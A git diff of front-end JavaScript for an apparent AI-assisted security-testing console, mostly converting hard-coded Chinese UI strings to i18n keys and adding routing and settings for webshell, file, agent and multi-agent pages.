list.innerHTML = '<div style="padding: 40px; text-align: center; color: var(--text-muted);">' + (typeof window.t === 'function' ? window.t('chat.loading') : '加载中...') + '</div>';
}
// 构建URL,如果有搜索关键词则添加search参数
@@ -5550,7 +5820,7 @@ async function loadGroupConversations(groupId, searchQuery = '') {
const response = await apiFetch(url);
if (!response.ok) {
console.error(`Failed to load conversations for group ${groupId}:`, response.statusText);
list.innerHTML = '<div style="padding: 40px; text-align: center; color: var(--text-muted);">加载失败,请重试</div>';
list.innerHTML = '<div style="padding: 40px; text-align: center; color: var(--text-muted);">' + (typeof window.t === 'function' ? window.t('chat.loadFailedRetry') : '加载失败,请重试') + '</div>';
return;
}
@@ -5564,7 +5834,7 @@ async function loadGroupConversations(groupId, searchQuery = '') {
// 验证返回的数据类型
if (!Array.isArray(groupConvs)) {
console.error(`Invalid response for group ${groupId}:`, groupConvs);
list.innerHTML = '<div style="padding: 40px; text-align: center; color: var(--text-muted);">数据格式错误</div>';
list.innerHTML = '<div style="padding: 40px; text-align: center; color: var(--text-muted);">' + (typeof window.t === 'function' ? window.t('chat.dataFormatError') : '数据格式错误') + '</div>';
return;
}
@@ -5656,7 +5926,8 @@ async function loadGroupConversations(groupId, searchQuery = '') {
const timeWrapper = document.createElement('div');
timeWrapper.className = 'group-conversation-time';
const dateObj = fullConv.updatedAt ? new Date(fullConv.updatedAt) : new Date();
timeWrapper.textContent = dateObj.toLocaleString('zh-CN', {
const convListLocale = (typeof window.__locale === 'string' && window.__locale.startsWith('zh')) ? 'zh-CN' : 'en-US';
timeWrapper.textContent = dateObj.toLocaleString(convListLocale, {
year: 'numeric',
month: 'long',
day: 'numeric',
@@ -6130,4 +6401,23 @@ document.addEventListener('DOMContentLoaded', async () => {
}
}
});
// 任意入口删除对话后同步:若删除的是当前对话则清空主区,并刷新侧边栏列表(如从 WebShell AI 助手删除)
document.addEventListener('conversation-deleted', (e) => {
const id = e.detail && e.detail.conversationId;
if (!id) return;
if (id === currentConversationId) {
currentConversationId = null;
const messagesDiv = document.getElementById('chat-messages');
if (messagesDiv) messagesDiv.innerHTML = '';
const readyMsg = typeof window.t === 'function' ? window.t('chat.systemReadyMessage') : '系统已就绪。请输入您的测试需求,系统将自动执行相应的安全测试。';
addMessage('assistant', readyMsg, null, null, null, { systemReadyMessage: true });
addAttackChainButton(null);
}
if (typeof loadConversationsWithGroups === 'function') {
loadConversationsWithGroups();
} else if (typeof loadConversations === 'function') {
loadConversations();
}
});
});
+21 -6
View File
@@ -38,10 +38,25 @@ async function refreshDashboard() {
apiFetch('/api/skills/stats').then(r => r.ok ? r.json() : null).catch(() => null)
]);
// 运行中任务:Agent 循环任务 + 批量队列「执行中」数量统一统计,避免顶部 KPI 与运行概览不一致
let agentRunningCount = null;
if (tasksRes && Array.isArray(tasksRes.tasks)) {
if (runningEl) runningEl.textContent = String(tasksRes.tasks.length);
} else {
if (runningEl) runningEl.textContent = '-';
agentRunningCount = tasksRes.tasks.length;
}
let batchRunningCount = 0;
if (batchRes && Array.isArray(batchRes.queues)) {
batchRes.queues.forEach(q => {
if ((q.status || '').toLowerCase() === 'running') batchRunningCount++;
});
}
if (runningEl) {
if (agentRunningCount !== null) {
runningEl.textContent = String(agentRunningCount + batchRunningCount);
} else if (batchRes && Array.isArray(batchRes.queues)) {
runningEl.textContent = String(batchRunningCount);
} else {
runningEl.textContent = '-';
}
}
if (vulnRes && typeof vulnRes.total === 'number') {
@@ -63,14 +78,14 @@ async function refreshDashboard() {
});
}
// 批量任务队列:按状态统计(优化版)
// 批量任务队列:按状态统计(优化版running 与上方 batchRunningCount 一致
if (batchRes && Array.isArray(batchRes.queues)) {
const queues = batchRes.queues;
let pending = 0, running = 0, done = 0;
let pending = 0, running = batchRunningCount, done = 0;
queues.forEach(q => {
const s = (q.status || '').toLowerCase();
if (s === 'pending' || s === 'paused') pending++;
else if (s === 'running') running++;
else if (s === 'running') { /* already counted into batchRunningCount */ }
else if (s === 'completed' || s === 'cancelled') done++;
});
const total = pending + running + done;
+36 -8
View File
@@ -6,6 +6,12 @@
const loadedLangs = {};
// 供 bootstrap 等逻辑等待:避免 chat 在 t() 未就绪时用中文硬编码渲染,导致与语言标签不一致
let i18nReadyResolve;
window.i18nReady = new Promise(function (resolve) {
i18nReadyResolve = resolve;
});
function detectInitialLang() {
try {
const stored = localStorage.getItem(STORAGE_KEY);
@@ -61,18 +67,23 @@
const isFormControl = (el.tagName === 'INPUT' || el.tagName === 'TEXTAREA');
const attrList = el.getAttribute('data-i18n-attr');
const text = i18next.t(key);
// 仅当未使用 data-i18n-attr 时才替换元素文本内容(否则会覆盖卡片内的数字、子节点等)
// input/textarea:永不设置 textContent(会变成 value),只更新属性
if (!attrList && !skipText && !isFormControl && text && typeof text === 'string') {
// 仅当元素无子元素(仅文本或空)时才替换文本,避免覆盖卡片内的数字、子节点等;input/textarea 永不设置 textContent
const hasNoElementChildren = !el.querySelector('*');
if (!skipText && !isFormControl && hasNoElementChildren && text && typeof text === 'string') {
el.textContent = text;
}
if (attrList) {
const titleKey = el.getAttribute('data-i18n-title');
attrList.split(',').map(function (s) { return s.trim(); }).forEach(function (attr) {
if (!attr) return;
if (text && typeof text === 'string') {
el.setAttribute(attr, text);
var val = text;
if (attr === 'title' && titleKey) {
var titleText = i18next.t(titleKey);
if (titleText && typeof titleText === 'string') val = titleText;
}
if (val && typeof val === 'string') {
el.setAttribute(attr, val);
}
});
}
@@ -104,9 +115,9 @@
if (!label || typeof i18next === 'undefined') return;
const lang = (i18next.language || DEFAULT_LANG).toLowerCase();
if (lang.indexOf('zh') === 0) {
label.textContent = '中文';
label.textContent = i18next.t('lang.zhCN');
} else {
label.textContent = 'English';
label.textContent = i18next.t('lang.enUS');
}
}
@@ -143,6 +154,9 @@
}
applyTranslations(document);
updateLangLabel();
try {
window.__locale = lang;
} catch (e) { /* ignore */ }
try {
document.dispatchEvent(new CustomEvent('languagechange', { detail: { lang: lang } }));
} catch (e) { /* ignore */ }
@@ -151,6 +165,7 @@
async function initI18n() {
if (typeof i18next === 'undefined') {
console.warn('i18next 未加载,跳过前端国际化初始化');
if (typeof i18nReadyResolve === 'function') i18nReadyResolve();
return;
}
@@ -165,6 +180,9 @@
await loadLanguageResources(initialLang);
applyTranslations(document);
updateLangLabel();
try {
window.__locale = i18next.language || initialLang;
} catch (e) { /* ignore */ }
// 导出全局函数供其他脚本调用(支持插值参数,如 _t('key', { count: 2 })
window.t = function (key, opts) {
@@ -190,12 +208,22 @@
};
document.addEventListener('click', handleGlobalClickForLangDropdown);
// 若 chat 已在 i18n 完成前用后备中文渲染了系统就绪消息,这里按当前语言纠正一次
try {
if (typeof refreshSystemReadyMessageBubbles === 'function') {
refreshSystemReadyMessageBubbles();
}
} catch (e) { /* ignore */ }
if (typeof i18nReadyResolve === 'function') i18nReadyResolve();
}
document.addEventListener('DOMContentLoaded', function () {
// i18n 初始化在 DOM Ready 后执行
initI18n().catch(function (e) {
console.error('初始化国际化失败:', e);
if (typeof i18nReadyResolve === 'function') i18nReadyResolve();
});
});
})();
+834 -132
View File
File diff suppressed because it is too large Load Diff
+51 -36
View File
@@ -1,4 +1,7 @@
// 角色管理相关功能
function _t(key, opts) {
return typeof window.t === 'function' ? window.t(key, opts) : key;
}
let currentRole = localStorage.getItem('currentRole') || '';
let roles = [];
let rolesSearchKeyword = ''; // 角色搜索关键词
@@ -54,7 +57,11 @@ async function loadRoles() {
return roles;
} catch (error) {
console.error('加载角色失败:', error);
showNotification('加载角色失败: ' + error.message, 'error');
// 提示文案使用 i18n;若此时 i18n 尚未初始化,则回退为可读中文,而不是暴露 keyroles.loadFailed
var loadFailedLabel = (typeof window !== 'undefined' && typeof window.t === 'function')
? window.t('roles.loadFailed')
: '加载角色失败';
showNotification(loadFailedLabel + ': ' + error.message, 'error');
return [];
}
}
@@ -167,9 +174,9 @@ function renderRoleSelectionSidebar() {
const icon = getRoleIcon(role);
// 处理默认角色的描述
let description = role.description || '暂无描述';
let description = role.description || _t('roles.noDescription');
if (isDefaultRole && !role.description) {
description = '默认角色,不额外携带用户提示词,使用默认MCP';
description = _t('roles.defaultRoleDescription');
}
roleItem.innerHTML = `
@@ -203,6 +210,9 @@ function toggleRoleSelectionPanel() {
const isHidden = panel.style.display === 'none' || !panel.style.display;
if (isHidden) {
if (typeof closeAgentModePanel === 'function') {
closeAgentModePanel();
}
panel.style.display = 'flex'; // 使用flex布局
// 添加打开状态的视觉反馈
if (roleSelectorBtn) {
@@ -282,7 +292,7 @@ function renderRolesList() {
if (filteredRoles.length === 0) {
rolesList.innerHTML = '<div class="empty-state">' +
(rolesSearchKeyword ? '没有找到匹配的角色' : '暂无角色') +
(rolesSearchKeyword ? _t('roles.noMatchingRoles') : _t('roles.noRoles')) +
'</div>';
return;
}
@@ -312,7 +322,7 @@ function renderRolesList() {
let toolsDisplay = '';
let toolsCount = 0;
if (role.name === '默认') {
toolsDisplay = '使用所有工具';
toolsDisplay = _t('roleModal.usingAllTools');
} else if (role.tools && role.tools.length > 0) {
toolsCount = role.tools.length;
// 显示前5个工具名称
@@ -324,13 +334,13 @@ function renderRolesList() {
if (toolsCount <= 5) {
toolsDisplay = toolNames.join(', ');
} else {
toolsDisplay = toolNames.join(', ') + `${toolsCount}`;
toolsDisplay = toolNames.join(', ') + _t('roleModal.andNMore', { count: toolsCount });
}
} else if (role.mcps && role.mcps.length > 0) {
toolsCount = role.mcps.length;
toolsDisplay = `${toolsCount}`;
toolsDisplay = _t('roleModal.andNMore', { count: toolsCount });
} else {
toolsDisplay = '使用所有工具';
toolsDisplay = _t('roleModal.usingAllTools');
}
return `
@@ -341,17 +351,17 @@ function renderRolesList() {
${escapeHtml(role.name)}
</h3>
<span class="role-card-badge ${role.enabled !== false ? 'enabled' : 'disabled'}">
${role.enabled !== false ? '已启用' : '已禁用'}
${role.enabled !== false ? _t('roles.enabled') : _t('roles.disabled')}
</span>
</div>
<div class="role-card-description">${escapeHtml(role.description || '无描述')}</div>
<div class="role-card-description">${escapeHtml(role.description || _t('roles.noDescriptionShort'))}</div>
<div class="role-card-tools">
<span class="role-card-tools-label">工具:</span>
<span class="role-card-tools-label">${_t('roleModal.toolsLabel')}</span>
<span class="role-card-tools-value">${toolsDisplay}</span>
</div>
<div class="role-card-actions">
<button class="btn-secondary btn-small" onclick="editRole('${escapeHtml(role.name)}')">编辑</button>
${role.name !== '默认' ? `<button class="btn-secondary btn-small btn-danger" onclick="deleteRole('${escapeHtml(role.name)}')">删除</button>` : ''}
<button class="btn-secondary btn-small" onclick="editRole('${escapeHtml(role.name)}')">${_t('common.edit')}</button>
${role.name !== '默认' ? `<button class="btn-secondary btn-small btn-danger" onclick="deleteRole('${escapeHtml(role.name)}')">${_t('common.delete')}</button>` : ''}
</div>
</div>
`;
@@ -503,7 +513,7 @@ async function loadRoleTools(page = 1, searchKeyword = '') {
console.error('加载工具列表失败:', error);
const toolsList = document.getElementById('role-tools-list');
if (toolsList) {
toolsList.innerHTML = `<div class="tools-error">加载工具列表失败: ${escapeHtml(error.message)}</div>`;
toolsList.innerHTML = `<div class="tools-error">${_t('roleModal.loadToolsFailed')}: ${escapeHtml(error.message)}</div>`;
}
}
}
@@ -521,7 +531,7 @@ function renderRoleToolsList() {
listContainer.innerHTML = '';
if (allRoleTools.length === 0) {
listContainer.innerHTML = '<div class="tools-empty">暂无工具</div>';
listContainer.innerHTML = '<div class="tools-empty">' + _t('roleModal.noTools') + '</div>';
toolsList.appendChild(listContainer);
return;
}
@@ -594,16 +604,16 @@ function renderRoleToolsPagination() {
const startItem = (page - 1) * roleToolsPagination.pageSize + 1;
const endItem = Math.min(page * roleToolsPagination.pageSize, total);
const paginationShowText = _t('roleModal.paginationShow', { start: startItem, end: endItem, total: total }) +
(roleToolsSearchKeyword ? _t('roleModal.paginationSearch', { keyword: roleToolsSearchKeyword }) : '');
pagination.innerHTML = `
<div class="pagination-info">
显示 ${startItem}-${endItem} / ${total} 个工具${roleToolsSearchKeyword ? ` (搜索: "${escapeHtml(roleToolsSearchKeyword)}")` : ''}
</div>
<div class="pagination-info">${paginationShowText}</div>
<div class="pagination-controls">
<button class="btn-secondary" onclick="loadRoleTools(1, '${escapeHtml(roleToolsSearchKeyword)}')" ${page === 1 ? 'disabled' : ''}>首页</button>
<button class="btn-secondary" onclick="loadRoleTools(${page - 1}, '${escapeHtml(roleToolsSearchKeyword)}')" ${page === 1 ? 'disabled' : ''}>上一页</button>
<span class="pagination-page"> ${page} / ${totalPages} </span>
<button class="btn-secondary" onclick="loadRoleTools(${page + 1}, '${escapeHtml(roleToolsSearchKeyword)}')" ${page === totalPages ? 'disabled' : ''}>下一页</button>
<button class="btn-secondary" onclick="loadRoleTools(${totalPages}, '${escapeHtml(roleToolsSearchKeyword)}')" ${page === totalPages ? 'disabled' : ''}>末页</button>
<button class="btn-secondary" onclick="loadRoleTools(1, '${escapeHtml(roleToolsSearchKeyword)}')" ${page === 1 ? 'disabled' : ''}>${_t('roleModal.firstPage')}</button>
<button class="btn-secondary" onclick="loadRoleTools(${page - 1}, '${escapeHtml(roleToolsSearchKeyword)}')" ${page === 1 ? 'disabled' : ''}>${_t('roleModal.prevPage')}</button>
<span class="pagination-page">${_t('roleModal.pageOf', { page: page, total: totalPages })}</span>
<button class="btn-secondary" onclick="loadRoleTools(${page + 1}, '${escapeHtml(roleToolsSearchKeyword)}')" ${page === totalPages ? 'disabled' : ''}>${_t('roleModal.nextPage')}</button>
<button class="btn-secondary" onclick="loadRoleTools(${totalPages}, '${escapeHtml(roleToolsSearchKeyword)}')" ${page === totalPages ? 'disabled' : ''}>${_t('roleModal.lastPage')}</button>
</div>
`;
@@ -727,8 +737,8 @@ function updateRoleToolsStats() {
// 总工具数(所有工具,包括已启用和未启用的)
const totalTools = roleToolsPagination.total || 0;
statsEl.innerHTML = `
<span title="当前页选中的工具数"> 当前页已选中: <strong>${currentPageEnabled}</strong> / ${currentPageTotal}</span>
<span title="所有已启用工具中选中的工具总数(基于MCP管理)">📊 总计已选中: <strong>${totalEnabled}</strong> / ${totalTools} <em>(使用所有已启用工具)</em></span>
<span title="${_t('roleModal.currentPageSelectedTitle')}"> ${_t('roleModal.currentPageSelected', { current: currentPageEnabled, total: currentPageTotal })}</span>
<span title="${_t('roleModal.totalSelectedTitle')}">📊 ${_t('roleModal.totalSelected', { current: totalEnabled, total: totalTools })} <em>${_t('roleModal.usingAllEnabledTools')}</em></span>
`;
return;
}
@@ -779,8 +789,8 @@ function updateRoleToolsStats() {
const totalTools = roleToolsPagination.total || 0;
statsEl.innerHTML = `
<span title="当前页选中的工具数(只统计已启用的工具)"> 当前页已选中: <strong>${currentPageEnabled}</strong> / ${currentPageTotal}</span>
<span title="角色已关联的工具总数(基于角色实际配置)">📊 总计已选中: <strong>${totalSelected}</strong> / ${totalTools}</span>
<span title="${_t('roleModal.currentPageSelectedTitle')}"> ${_t('roleModal.currentPageSelected', { current: currentPageEnabled, total: currentPageTotal })}</span>
<span title="${_t('roleModal.totalSelectedTitle')}">📊 ${_t('roleModal.totalSelected', { current: totalSelected, total: totalTools })}</span>
`;
}
@@ -838,7 +848,7 @@ async function showAddRoleModal() {
const modal = document.getElementById('role-modal');
if (!modal) return;
document.getElementById('role-modal-title').textContent = '添加角色';
document.getElementById('role-modal-title').textContent = _t('roleModal.addRole');
document.getElementById('role-name').value = '';
document.getElementById('role-name').disabled = false;
document.getElementById('role-description').value = '';
@@ -918,14 +928,14 @@ async function showAddRoleModal() {
async function editRole(roleName) {
const role = roles.find(r => r.name === roleName);
if (!role) {
showNotification('角色不存在', 'error');
showNotification(_t('roleModal.roleNotFound'), 'error');
return;
}
const modal = document.getElementById('role-modal');
if (!modal) return;
document.getElementById('role-modal-title').textContent = '编辑角色';
document.getElementById('role-modal-title').textContent = _t('roleModal.editRole');
document.getElementById('role-name').value = role.name;
document.getElementById('role-name').disabled = true; // 编辑时不允许修改名称
document.getElementById('role-description').value = role.description || '';
@@ -1186,7 +1196,7 @@ async function loadAllToolsToStateMap() {
async function saveRole() {
const name = document.getElementById('role-name').value.trim();
if (!name) {
showNotification('角色名称不能为空', 'error');
showNotification(_t('roleModal.roleNameRequired'), 'error');
return;
}
@@ -1227,7 +1237,7 @@ async function saveRole() {
// 如果是首次添加角色且没有选择工具,默认使用全部工具
if (isFirstUserRole && allSelectedTools.length === 0) {
roleUsesAllTools = true;
showNotification('检测到这是首次添加角色且未选择工具,将默认使用全部工具', 'info');
showNotification(_t('roleModal.firstRoleNoToolsHint'), 'info');
} else if (roleUsesAllTools) {
// 如果当前使用所有工具,需要检查用户是否取消了一些工具
// 检查状态映射中是否有未选中的已启用工具
@@ -1358,7 +1368,7 @@ async function saveRole() {
// 删除角色
async function deleteRole(roleName) {
if (roleName === '默认') {
showNotification('不能删除默认角色', 'error');
showNotification(_t('roleModal.cannotDeleteDefaultRole'), 'error');
return;
}
@@ -1430,6 +1440,11 @@ document.addEventListener('DOMContentLoaded', () => {
updateRoleSelectorDisplay();
});
// 语言切换后刷新角色选择器显示(默认/自定义角色名)
document.addEventListener('languagechange', () => {
updateRoleSelectorDisplay();
});
// 获取当前选中的角色(供chat.js使用)
function getCurrentRole() {
return currentRole || '';
@@ -1469,7 +1484,7 @@ async function loadRoleSkills() {
allRoleSkills = [];
const skillsList = document.getElementById('role-skills-list');
if (skillsList) {
skillsList.innerHTML = '<div class="skills-error">加载skills列表失败: ' + error.message + '</div>';
skillsList.innerHTML = '<div class="skills-error">' + _t('roleModal.loadSkillsFailed') + ': ' + error.message + '</div>';
}
}
}
@@ -1490,7 +1505,7 @@ function renderRoleSkills() {
if (filteredSkills.length === 0) {
skillsList.innerHTML = '<div class="skills-empty">' +
(roleSkillsSearchKeyword ? '没有找到匹配的skills' : '暂无可用skills') +
(roleSkillsSearchKeyword ? _t('roleModal.noMatchingSkills') : _t('roleModal.noSkillsAvailable')) +
'</div>';
updateRoleSkillsStats();
return;
@@ -1596,7 +1611,7 @@ function updateRoleSkillsStats() {
filteredSkills.includes(skill)
).length;
statsEl.textContent = `已选择 ${selectedCount} / ${filteredSkills.length}`;
statsEl.textContent = _t('roleModal.skillsSelectedCount', { count: selectedCount, total: filteredSkills.length });
}
// HTML转义函数
+55 -16
View File
@@ -8,7 +8,7 @@ function initRouter() {
if (hash) {
const hashParts = hash.split('?');
const pageId = hashParts[0];
if (pageId && ['dashboard', 'chat', 'info-collect', 'vulnerabilities', 'mcp-monitor', 'mcp-management', 'knowledge-management', 'knowledge-retrieval-logs', 'roles-management', 'skills-monitor', 'skills-management', 'settings', 'tasks'].includes(pageId)) {
if (pageId && ['dashboard', 'chat', 'info-collect', 'vulnerabilities', 'webshell', 'chat-files', 'mcp-monitor', 'mcp-management', 'knowledge-management', 'knowledge-retrieval-logs', 'roles-management', 'skills-monitor', 'skills-management', 'agents-management', 'settings', 'tasks'].includes(pageId)) {
switchPage(pageId);
// 如果是chat页面且带有conversation参数,加载对应对话
@@ -107,6 +107,16 @@ function updateNavState(pageId) {
skillsItem.classList.add('expanded');
}
const submenuItem = document.querySelector(`.nav-submenu-item[data-page="${pageId}"]`);
if (submenuItem) {
submenuItem.classList.add('active');
}
} else if (pageId === 'agents-management') {
const agentsItem = document.querySelector('.nav-item[data-page="agents"]');
if (agentsItem) {
agentsItem.classList.add('active');
agentsItem.classList.add('expanded');
}
const submenuItem = document.querySelector(`.nav-submenu-item[data-page="${pageId}"]`);
if (submenuItem) {
submenuItem.classList.add('active');
@@ -120,19 +130,6 @@ function updateNavState(pageId) {
rolesItem.classList.add('expanded');
}
const submenuItem = document.querySelector(`.nav-submenu-item[data-page="${pageId}"]`);
if (submenuItem) {
submenuItem.classList.add('active');
}
} else if (pageId === 'skills-monitor' || pageId === 'skills-management') {
// Skills子菜单项
const skillsItem = document.querySelector('.nav-item[data-page="skills"]');
if (skillsItem) {
skillsItem.classList.add('active');
// 展开Skills子菜单
skillsItem.classList.add('expanded');
}
const submenuItem = document.querySelector(`.nav-submenu-item[data-page="${pageId}"]`);
if (submenuItem) {
submenuItem.classList.add('active');
@@ -243,7 +240,8 @@ function initPage(pageId) {
}
break;
case 'chat':
// 对话页面已由chat.js初始化
// 恢复对话列表折叠状态(从其他页返回时保持用户选择)
initConversationSidebarState();
break;
case 'info-collect':
// 信息收集页面
@@ -292,6 +290,17 @@ function initPage(pageId) {
initVulnerabilityPage();
}
break;
case 'webshell':
// 初始化 WebShell 管理页面
if (typeof initWebshellPage === 'function') {
initWebshellPage();
}
break;
case 'chat-files':
if (typeof initChatFilesPage === 'function') {
initChatFilesPage();
}
break;
case 'settings':
// 初始化设置页面(不需要加载工具列表)
if (typeof loadConfig === 'function') {
@@ -341,6 +350,11 @@ function initPage(pageId) {
loadSkills();
}
break;
case 'agents-management':
if (typeof loadMarkdownAgents === 'function') {
loadMarkdownAgents();
}
break;
}
// 清理其他页面的定时器
@@ -361,7 +375,7 @@ document.addEventListener('DOMContentLoaded', function() {
const hashParts = hash.split('?');
const pageId = hashParts[0];
if (pageId && ['chat', 'info-collect', 'tasks', 'vulnerabilities', 'mcp-monitor', 'mcp-management', 'knowledge-management', 'knowledge-retrieval-logs', 'roles-management', 'skills-monitor', 'skills-management', 'settings'].includes(pageId)) {
if (pageId && ['chat', 'info-collect', 'tasks', 'vulnerabilities', 'webshell', 'chat-files', 'mcp-monitor', 'mcp-management', 'knowledge-management', 'knowledge-retrieval-logs', 'roles-management', 'skills-monitor', 'skills-management', 'agents-management', 'settings'].includes(pageId)) {
switchPage(pageId);
// 如果是chat页面且带有conversation参数,加载对应对话
@@ -421,11 +435,36 @@ function initSidebarState() {
sidebar.classList.add('collapsed');
}
}
initConversationSidebarState();
}
// 切换对话页左侧列表折叠/展开
function toggleConversationSidebar() {
const sidebar = document.getElementById('conversation-sidebar');
if (sidebar) {
sidebar.classList.toggle('collapsed');
const isCollapsed = sidebar.classList.contains('collapsed');
localStorage.setItem('conversationSidebarCollapsed', isCollapsed ? 'true' : 'false');
}
}
// 恢复对话列表折叠状态(进入对话页时生效)
function initConversationSidebarState() {
const sidebar = document.getElementById('conversation-sidebar');
if (sidebar) {
const savedState = localStorage.getItem('conversationSidebarCollapsed');
if (savedState === 'true') {
sidebar.classList.add('collapsed');
} else {
sidebar.classList.remove('collapsed');
}
}
}
// 导出函数供其他脚本使用
window.switchPage = switchPage;
window.toggleSubmenu = toggleSubmenu;
window.toggleSidebar = toggleSidebar;
window.toggleConversationSidebar = toggleConversationSidebar;
window.currentPage = function() { return currentPage; };
+59 -23
View File
@@ -117,6 +117,16 @@ async function loadConfig(loadTools = true) {
// 填充Agent配置
document.getElementById('agent-max-iterations').value = currentConfig.agent.max_iterations || 30;
const ma = currentConfig.multi_agent || {};
const maEn = document.getElementById('multi-agent-enabled');
if (maEn) maEn.checked = ma.enabled === true;
const maMode = document.getElementById('multi-agent-default-mode');
if (maMode) maMode.value = (ma.default_mode === 'multi') ? 'multi' : 'single';
const maRobot = document.getElementById('multi-agent-robot-use');
if (maRobot) maRobot.checked = ma.robot_use_multi_agent === true;
const maBatch = document.getElementById('multi-agent-batch-use');
if (maBatch) maBatch.checked = ma.batch_use_multi_agent === true;
// 填充知识库配置
const knowledgeEnabledCheckbox = document.getElementById('knowledge-enabled');
@@ -806,6 +816,12 @@ async function applySettings() {
agent: {
max_iterations: parseInt(document.getElementById('agent-max-iterations').value) || 30
},
multi_agent: {
enabled: document.getElementById('multi-agent-enabled')?.checked === true,
default_mode: document.getElementById('multi-agent-default-mode')?.value === 'multi' ? 'multi' : 'single',
robot_use_multi_agent: document.getElementById('multi-agent-robot-use')?.checked === true,
batch_use_multi_agent: document.getElementById('multi-agent-batch-use')?.checked === true
},
knowledge: knowledgeConfig,
robots: {
wecom: {
@@ -1166,7 +1182,8 @@ async function loadExternalMCPs() {
console.error('加载外部MCP列表失败:', error);
const list = document.getElementById('external-mcp-list');
if (list) {
list.innerHTML = `<div class="error">加载失败: ${escapeHtml(error.message)}</div>`;
const errT = typeof window.t === 'function' ? window.t : (k) => k;
list.innerHTML = `<div class="error">${escapeHtml(errT('mcp.loadExternalMCPFailed'))}: ${escapeHtml(error.message)}</div>`;
}
}
}
@@ -1224,7 +1241,7 @@ function renderExternalMCPList(servers) {
<div class="external-mcp-item">
<div class="external-mcp-item-header">
<div class="external-mcp-item-info">
<h4>${transportIcon} ${escapeHtml(name)}${server.tool_count !== undefined && server.tool_count > 0 ? `<span class="tool-count-badge" title="工具数量">🔧 ${server.tool_count}</span>` : ''}</h4>
<h4>${transportIcon} ${escapeHtml(name)}${server.tool_count !== undefined && server.tool_count > 0 ? `<span class="tool-count-badge" title="${escapeHtml(statusT('mcp.toolCount'))}">🔧 ${server.tool_count}</span>` : ''}</h4>
<span class="external-mcp-status ${statusClass}">${statusText}</span>
</div>
<div class="external-mcp-item-actions">
@@ -1234,7 +1251,7 @@ function renderExternalMCPList(servers) {
</button>` :
status === 'connecting' ?
`<button class="btn-small" id="btn-toggle-${escapeHtml(name)}" disabled style="opacity: 0.6; cursor: not-allowed;">
连接中...
${statusT('mcp.connecting')}
</button>` : ''}
<button class="btn-small" onclick="editExternalMCP('${escapeHtml(name)}')" title="${statusT('mcp.editConfig')}" ${status === 'connecting' ? 'disabled' : ''}> ${statusT('common.edit')}</button>
<button class="btn-small btn-danger" onclick="deleteExternalMCP('${escapeHtml(name)}')" title="${statusT('mcp.deleteConfig')}" ${status === 'connecting' ? 'disabled' : ''}>🗑 ${statusT('common.delete')}</button>
@@ -1242,7 +1259,7 @@ function renderExternalMCPList(servers) {
</div>
${status === 'error' && server.error ? `
<div class="external-mcp-error" style="margin: 12px 0; padding: 12px; background: #fee; border-left: 3px solid #f44; border-radius: 4px; color: #c33; font-size: 0.875rem;">
<strong> 连接错误</strong>${escapeHtml(server.error)}
<strong> ${statusT('mcp.connectionErrorLabel')}</strong>${escapeHtml(server.error)}
</div>` : ''}
<div class="external-mcp-item-details">
<div>
@@ -1252,7 +1269,7 @@ function renderExternalMCPList(servers) {
${server.tool_count !== undefined && server.tool_count > 0 ? `
<div>
<strong>${statusT('mcp.toolCount')}</strong>
<span style="font-weight: 600; color: var(--accent-color);">🔧 ${server.tool_count} 个工具</span>
<span style="font-weight: 600; color: var(--accent-color);">${statusT('mcp.toolsCountValue', { count: server.tool_count })}</span>
</div>` : server.tool_count === 0 && status === 'connected' ? `
<div>
<strong>${statusT('mcp.toolCount')}</strong>
@@ -1266,7 +1283,7 @@ function renderExternalMCPList(servers) {
${server.config.timeout ? `
<div>
<strong>${statusT('mcp.timeout')}</strong>
<span>${server.config.timeout} </span>
<span>${server.config.timeout} ${statusT('mcp.secondsUnit')}</span>
</div>` : ''}
${transport === 'stdio' && server.config.command ? `
<div>
@@ -1275,7 +1292,7 @@ function renderExternalMCPList(servers) {
</div>` : ''}
${transport === 'http' && server.config.url ? `
<div>
<strong>URL</strong>
<strong>${statusT('mcp.urlLabel')}</strong>
<span style="font-family: monospace; font-size: 0.8125rem; word-break: break-all;">${escapeHtml(server.config.url)}</span>
</div>` : ''}
</div>
@@ -1327,7 +1344,7 @@ async function editExternalMCP(name) {
try {
const response = await apiFetch(`/api/external-mcp/${encodeURIComponent(name)}`);
if (!response.ok) {
throw new Error('获取外部MCP配置失败');
throw new Error(typeof window.t === 'function' ? window.t('mcp.getConfigFailed') : '获取外部MCP配置失败');
}
const server = await response.json();
@@ -1367,7 +1384,7 @@ function formatExternalMCPJSON() {
try {
const jsonStr = jsonTextarea.value.trim();
if (!jsonStr) {
errorDiv.textContent = 'JSON不能为空';
errorDiv.textContent = (typeof window.t === 'function' ? window.t('mcp.jsonEmpty') : 'JSON不能为空');
errorDiv.style.display = 'block';
jsonTextarea.classList.add('error');
return;
@@ -1379,7 +1396,7 @@ function formatExternalMCPJSON() {
errorDiv.style.display = 'none';
jsonTextarea.classList.remove('error');
} catch (error) {
errorDiv.textContent = 'JSON格式错误: ' + error.message;
errorDiv.textContent = (typeof window.t === 'function' ? window.t('mcp.jsonError') : 'JSON格式错误') + ': ' + error.message;
errorDiv.style.display = 'block';
jsonTextarea.classList.add('error');
}
@@ -1387,6 +1404,7 @@ function formatExternalMCPJSON() {
// 加载示例
function loadExternalMCPExample() {
const desc = (typeof window.t === 'function' ? window.t('externalMcpModal.exampleDescription') : '示例描述');
const example = {
"hexstrike-ai": {
command: "python3",
@@ -1395,7 +1413,7 @@ function loadExternalMCPExample() {
"--server",
"http://example.com"
],
description: "示例描述",
description: desc,
timeout: 300
},
"cyberstrike-ai-http": {
@@ -1420,7 +1438,7 @@ async function saveExternalMCP() {
const errorDiv = document.getElementById('external-mcp-json-error');
if (!jsonStr) {
errorDiv.textContent = 'JSON配置不能为空';
errorDiv.textContent = (typeof window.t === 'function' ? window.t('mcp.jsonEmpty') : 'JSON不能为空');
errorDiv.style.display = 'block';
jsonTextarea.classList.add('error');
jsonTextarea.focus();
@@ -1431,16 +1449,17 @@ async function saveExternalMCP() {
try {
configObj = JSON.parse(jsonStr);
} catch (error) {
errorDiv.textContent = 'JSON格式错误: ' + error.message;
errorDiv.textContent = (typeof window.t === 'function' ? window.t('mcp.jsonError') : 'JSON格式错误') + ': ' + error.message;
errorDiv.style.display = 'block';
jsonTextarea.classList.add('error');
jsonTextarea.focus();
return;
}
const t = (typeof window.t === 'function' ? window.t : function (k, opts) { return k; });
// 验证必须是对象格式
if (typeof configObj !== 'object' || Array.isArray(configObj) || configObj === null) {
errorDiv.textContent = '配置错误: 必须是JSON对象格式,key为配置名称,value为配置内容';
errorDiv.textContent = t('mcp.configMustBeObject');
errorDiv.style.display = 'block';
jsonTextarea.classList.add('error');
return;
